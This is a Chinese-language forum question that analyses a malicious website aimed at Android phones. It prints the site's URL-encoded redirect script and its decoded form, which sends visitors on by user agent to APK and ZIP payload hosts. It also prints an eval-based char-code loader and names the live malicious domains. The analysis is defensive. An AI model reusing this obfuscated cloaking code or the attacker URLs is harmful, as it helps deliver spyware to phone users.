【发布时间】:2018-02-23 03:45:21
【问题描述】:
最近我发现了一种新的恶意软件站点:它只攻击安卓手机,在 PC 上看起来很正常。它成功地避开了所有恶意软件检测器。
要了解它的工作原理,请访问网站:www.mfflag.com
在html的开头,有一个脚本:
<script>
<!--
document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3E%0Avar%20browser%20%3D%20%7B%0Aversions%3A%20function%20%28%29%20%7B%0Avar%20u%20%3D%20navigator.userAgent%2C%20app%20%3D%20navigator.appVersion%3B%0Areturn%20%7B%20//%u79FB%u52A8%u7EC8%u7AEF%u6D4F%u89C8%u5668%u7248%u672C%u4FE1%u606F%20%0Aios%3A%20%21%21u.match%28/%5C%28i%5B%5E%3B%5D+%3B%28%20U%3B%29%3F%20CPU.+Mac%20OS%20X/%29%2C%20//ios%u7EC8%u7AEF%20%0Aandroid%3A%20u.indexOf%28%27Android%27%29%20%3E%20-1%20%7C%7C%20u.indexOf%28%27Linux%27%29%20%3E%20-1%2C%20//android%u7EC8%u7AEF%u6216uc%u6D4F%u89C8%u5668%20%0AiPhone%3A%20u.indexOf%28%27iPhone%27%29%20%3E%20-1%2C%20//%u662F%u5426%u4E3AiPhone%u6216%u8005QQHD%u6D4F%u89C8%u5668%20%0AiPad%3A%20u.indexOf%28%27iPad%27%29%20%3E%20-1%2C%20//%u662F%u5426iPad%20%0A%7D%3B%0A%7D%28%29%2C%0A%7D%0Aif%20%28browser.versions.iPhone%20%7C%7C%20browser.versions.iPad%20%7C%7C%20browser.versions.ios%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//9ifmz.polishingmedia.cn%3A9000/668899.html%22%3B%0A%7D%0Aif%20%28browser.versions.android%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//zm87i.gaoxiaopic.cn%3A8301/668899.zip%22%3B%0A%7D%0A%3C/script%3E"));
//-->
</script>
是URL编码的,解码后是这样的:
<script type="text/javascript">
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appVersion;
return { //
ios: !!u.match(/\(i[^;] ;( U;)? CPU. Mac OS X/), //ios
android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android
iPhone: u.indexOf('iPhone') > -1, //
iPad: u.indexOf('iPad') > -1, //iPad
};
}(),
}
if (browser.versions.iPhone || browser.versions.iPad || browser.versions.ios) {
window.location.href = "http://9ifmz.polishingmedia.cn:9000/668899.html";
}
if (browser.versions.android) {
window.location.href = "http://zm87i.gaoxiaopic.cn:8301/668899.zip";
}
</script>
所以基本上第一个跳转是下载一个适用于 Android 的 zip,并且该 .zip 链接只能从某些移动浏览器访问。下载解压后也是一个javascript:
<html><head><title>loading</title><script>var d = [119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,100,115,97,101,119,113,46,110,118,114,101,110,97,105,46,99,99,58,56,51,51,48,47,54,54,56,56,57,57,95,99,51,100,52,54,57,48,50,51,48,56,54,97,49,55,55,56,100,56,55,50,98,101,52,49,97,99,54,52,50,51,57,46,104,116,109,108,39]; var u = ''; for(var i = 0; i < d.length; i++){ u += String.fromCharCode(d[i]); }; eval(u); </script></head></html>
这是从 var 解码后的又一次跳转,然后在该位置尝试在手机上安装 .apk 文件,并显示一些色情视频。
apk 是一种病毒,它会读取您的每条消息并发送到攻击者使用的电子邮件。
问题是为什么不直接跳呢?为什么这种攻击会多次跳转到最终站点?
其次,为什么所有恶意软件检测器都无法检测到此类威胁?是不是因为脚本只针对移动设备而检测器不使用那个代理标签?
【问题讨论】:
-
谷歌安全浏览等顶级主要安全检查网站,未能检测到此类混淆脚本和恶意软件,为什么?
标签: javascript android malware virus malware-detection